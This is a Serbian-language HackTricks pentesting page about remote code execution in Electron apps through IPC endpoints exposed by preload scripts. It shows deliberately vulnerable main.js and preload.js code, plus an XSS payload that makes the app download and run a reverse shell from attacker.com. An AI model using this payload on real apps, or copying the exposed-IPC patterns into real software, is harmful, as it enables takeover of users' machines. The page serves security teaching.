hacktricks/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md

# Electron contextIsolation RCE via IPC

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Ako preload skripta izlaže IPC krajnju tačku iz main.js datoteke, proces renderera će moći da joj pristupi i ako je ranjiv, RCE bi mogao biti moguć.

**Većina ovih primera je uzeta odavde** [**https://www.youtube.com/watch?v=xILfQGkLXQo**](https://www.youtube.com/watch?v=xILfQGkLXQo). Pogledajte video za dodatne informacije.

## Primer 0

Primer sa [https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21) (imate ceo primer kako je MS Teams zloupotrebljavao XSS do RCE u tim slajdovima, ovo je samo vrlo osnovni primer):

<figure><img src="../../../.gitbook/assets/image (9) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

## Primer 1

Pogledajte kako `main.js` sluša na `getUpdate` i **preuzima i izvršava bilo koju URL** koja se prosledi.\
Pogledajte takođe kako `preload.js` **izlaže bilo koji IPC** događaj iz main.
```javascript
// Part of code of main.js
ipcMain.on('getUpdate', (event, url) => {
console.log('getUpdate: ' + url)
mainWindow.webContents.downloadURL(url)
mainWindow.download_url = url
});

mainWindow.webContents.session.on('will-download', (event, item, webContents) => {
console.log('downloads path=' + app.getPath('downloads'))
console.log('mainWindow.download_url=' + mainWindow.download_url);
url_parts = mainWindow.download_url.split('/')
filename = url_parts[url_parts.length-1]
mainWindow.downloadPath = app.getPath('downloads') + '/' + filename
console.log('downloadPath=' + mainWindow.downloadPath)
// Set the save path, making Electron not to prompt a save dialog.
item.setSavePath(mainWindow.downloadPath)

item.on('updated', (event, state) => {
if (state === 'interrupted') {
console.log('Download is interrupted but can be resumed')
}
else if (state === 'progressing') {
if (item.isPaused()) console.log('Download is paused')
else console.log(`Received bytes: ${item.getReceivedBytes()}`)
}
})

item.once('done', (event, state) => {
if (state === 'completed') {
console.log('Download successful, running update')
fs.chmodSync(mainWindow.downloadPath, 0755);
var child = require('child_process').execFile;
child(mainWindow.downloadPath, function(err, data) {
if (err) { console.error(err); return; }
console.log(data.toString());
});
}
else console.log(`Download failed: ${state}`)
})
})
```

```javascript
// Part of code of preload.js
window.electronSend = (event, data) => {
ipcRenderer.send(event, data);
};
```
Eksploatacija:
```html
<script>
electronSend("getUpdate","https://attacker.com/path/to/revshell.sh");
</script>
```
## Primer 2

Ako preload skripta direktno izlaže renderer-u način da pozove `shell.openExternal`, moguće je dobiti RCE
```javascript
// Part of preload.js code
window.electronOpenInBrowser = (url) => {
shell.openExternal(url);
};
```
## Example 3

Ako skripta za učitavanje omogućava potpunu komunikaciju sa glavnim procesom, XSS će moći da pošalje bilo koji događaj. Uticaj ovoga zavisi od onoga što glavni proces izlaže u smislu IPC.
```javascript
window.electronListen = (event, cb) => {
ipcRenderer.on(event, cb);
};

window.electronSend = (event, data) => {
ipcRenderer.send(event, data);
};
```
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